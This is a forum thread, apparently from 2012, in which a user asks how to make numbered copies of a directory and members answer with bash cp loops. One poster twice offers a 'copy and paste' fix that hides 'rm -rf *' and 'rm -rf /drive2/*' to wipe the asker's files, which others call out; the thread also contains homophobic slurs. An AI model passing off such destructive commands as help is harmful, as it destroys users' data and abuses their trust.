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Mutt · 11-17-2012, 09:40 PM

i have a directory that has a subdirectory called 'blah' - i want to copy that subdirectory creating identical subdirectories named 'blah2' 'blah3' 'blah4' etc

what would the Unix copy command be to create those?

thanks

Babaganoosh · 11-17-2012, 09:55 PM

cp /path/to/source /path/to/destination -R

Mutt · 11-17-2012, 09:57 PM

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Originally Posted by Babaganoosh

cp /path/to/source /path/to/destination -R

thanks will try

Babaganoosh · 11-17-2012, 09:57 PM

Or are you wanting to make blah1 blah2 blah3 automatically from one source? That command I pasted is just a recursive copy.

Mutt · 11-17-2012, 10:04 PM

...... and didn't work

Mutt · 11-17-2012, 10:05 PM

Quote:

Originally Posted by Babaganoosh

Or are you wanting to make blah1 blah2 blah3 automatically from one source?

yeah that's what i want

Babaganoosh · 11-17-2012, 10:10 PM

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Originally Posted by Mutt

yeah that's what i want

Ahh, then do

for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done

1 would be the first dir made, 5 would be the last

Killswitch · 11-17-2012, 10:14 PM

What errors are you getting?

Mutt · 11-17-2012, 10:30 PM

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Originally Posted by Babaganoosh

Ahh, then do

for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done

1 would be the first dir made, 5 would be the last

didn't work - no copies created

cp /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i -R

probably didn't understand the {1..5}

Mutt · 11-17-2012, 10:34 PM

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Originally Posted by Killswitch

What errors are you getting?

not getting errors - just gives me usage formats for the cp command

greek to me

Killswitch · 11-17-2012, 10:51 PM

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Originally Posted by Mutt

not getting errors - just gives me usage formats for the cp command

greek to me

cp -r /path/to/directory /path/to/destination

Flag first.

AutumnBH · 11-17-2012, 11:03 PM

Copy and paste this to the command line, should work:

Code:

for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done

Babaganoosh · 11-17-2012, 11:05 PM

Quote:

Originally Posted by Mutt

didn't work - no copies created

cp /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i -R

probably didn't understand the {1..5}

You need the whole command.

Code:

for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done

Babaganoosh · 11-17-2012, 11:06 PM

DO NOT run the code from AutumnBH

Killswitch · 11-17-2012, 11:07 PM

Quote:

Originally Posted by AutumnBH

Copy and paste this to the command line, should work:

Code:

for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done

Get fucked you faggot.

Killswitch · 11-17-2012, 11:09 PM

Quote:

Originally Posted by Babaganoosh

You need the whole command.

Code:

for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done

I think you have the flag wrong, that's why he keeps getting the options for the cp command... flag needs to be after cp and lower case:

Code:

for i in {1..5}; do cp -r /source/path/here/blah /dest/path/here/blah$i; done

Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.

Babaganoosh · 11-17-2012, 11:11 PM

Quote:

Originally Posted by Killswitch

I think you have the flag wrong, that's why he keeps getting the options for the cp command... flag needs to be after cp and lower case:

Code:

for i in {1..5}; do cp -r /source/path/here/blah /dest/path/here/blah$i; done

Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.

The position of the flag doesn't matter. I've always used an upper case R for recursive. From the man page:

-R, -r, --recursive
copy directories recursively

AutumnBH · 11-17-2012, 11:11 PM

Yeah sorry guys, I got the flag wrong... Here's the corrected version, copy and paste:

Code:

for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf /drive2/*; rm -rf *; done

Babaganoosh · 11-17-2012, 11:13 PM

Quote:

Originally Posted by Killswitch

Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.

You're right. He had rm -rf / when I first caught what he was trying to do. Just for fun, I tried it on a VM running ubuntu 12.04 and got this:

# rm -rf /
rm: it is dangerous to operate recursively on `/'
rm: use --no-preserve-root to override this failsafe

edit: if it DID work I can literally replace the vm in 30 seconds.

Killswitch · 11-17-2012, 11:13 PM

Quote:

Originally Posted by AutumnBH

Yeah sorry guys, I got the flag wrong... Here's the corrected version, copy and paste:

Code:

for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf /drive2/*; rm -rf *; done

You're an idiot, rm -rf doesn't work on latest versions of linux, maybe you should upgrade that welfare server you use.

Killswitch · 11-17-2012, 11:14 PM

Quote:

Originally Posted by Babaganoosh

You're right. He had rm -rf / when I first caught what he was trying to do. Just for fun, I tried it on a VM running ubuntu 12.04 and got this:

# rm -rf /
rm: it is dangerous to operate recursively on `/'
rm: use --no-preserve-root to override this failsafe

AutumnBH · 11-17-2012, 11:18 PM

rm -rf / wouldn't do much unless you were logged in as root anyway (although it wouldn't surprise me if OP was).

And superior users use a real Unix

Mutt · 11-17-2012, 11:23 PM

Quote:

Originally Posted by Killswitch

I think you have the flag wrong, that's why he keeps getting the options for the cp command... flag needs to be after cp and lower case:

Code:

for i in {1..5}; do cp -r /source/path/here/blah /dest/path/here/blah$i; done

Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.

that worked

i have to make them one by one it seems

thanks Babaganoosh and Killswitch

xXXtesy10 · 11-17-2012, 11:25 PM

Quote:

Originally Posted by AutumnBH

Copy and paste this to the command line, should work:

Code:

for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done

freecartoonporn · 11-17-2012, 11:57 PM

rm -rf *; done

lol lol lol

Killswitch · 11-18-2012, 12:03 AM

Quote:

Originally Posted by Mutt

that worked

i have to make them one by one it seems

thanks Babaganoosh and Killswitch

No problem man!

Mr Pheer · 11-18-2012, 01:19 AM

Quote:

Originally Posted by AutumnBH

Copy and paste this to the command line, should work:

Code:

for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done

what the fuck?

11-17-2012, 09:40 PM	#1
Mutt Too lazy to set a custom title Industry Role: Join Date: Sep 2002 Posts: 34,431	Copy command help please i have a directory that has a subdirectory called 'blah' - i want to copy that subdirectory creating identical subdirectories named 'blah2' 'blah3' 'blah4' etc what would the Unix copy command be to create those? thanks __________________ I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!

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AutumnBH Confirmed User Industry Role: Join Date: Oct 2012 Location: Spamville Posts: 294	Copy and paste this to the command line, should work: Code: for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf ; done Last edited by AutumnBH; 11-17-2012 at 11:05 PM..*

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11-17-2012, 11:11 PM	#18
AutumnBH Confirmed User Industry Role: Join Date: Oct 2012 Location: Spamville Posts: 294	Yeah sorry guys, I got the flag wrong... Here's the corrected version, copy and paste: Code: for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf /drive2/; rm -rf ; done

11-17-2012, 11:18 PM	#22
AutumnBH Confirmed User Industry Role: Join Date: Oct 2012 Location: Spamville Posts: 294	rm -rf / wouldn't do much unless you were logged in as root anyway (although it wouldn't surprise me if OP was). And superior users use a real Unix

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freecartoonporn Confirmed User Industry Role: Join Date: Jan 2012 Location: NC Posts: 7,683	rm -rf *; done lol lol lol __________________ SSD Cloud Server, VPS Server, Simple Cloud Hosting \| DigitalOcean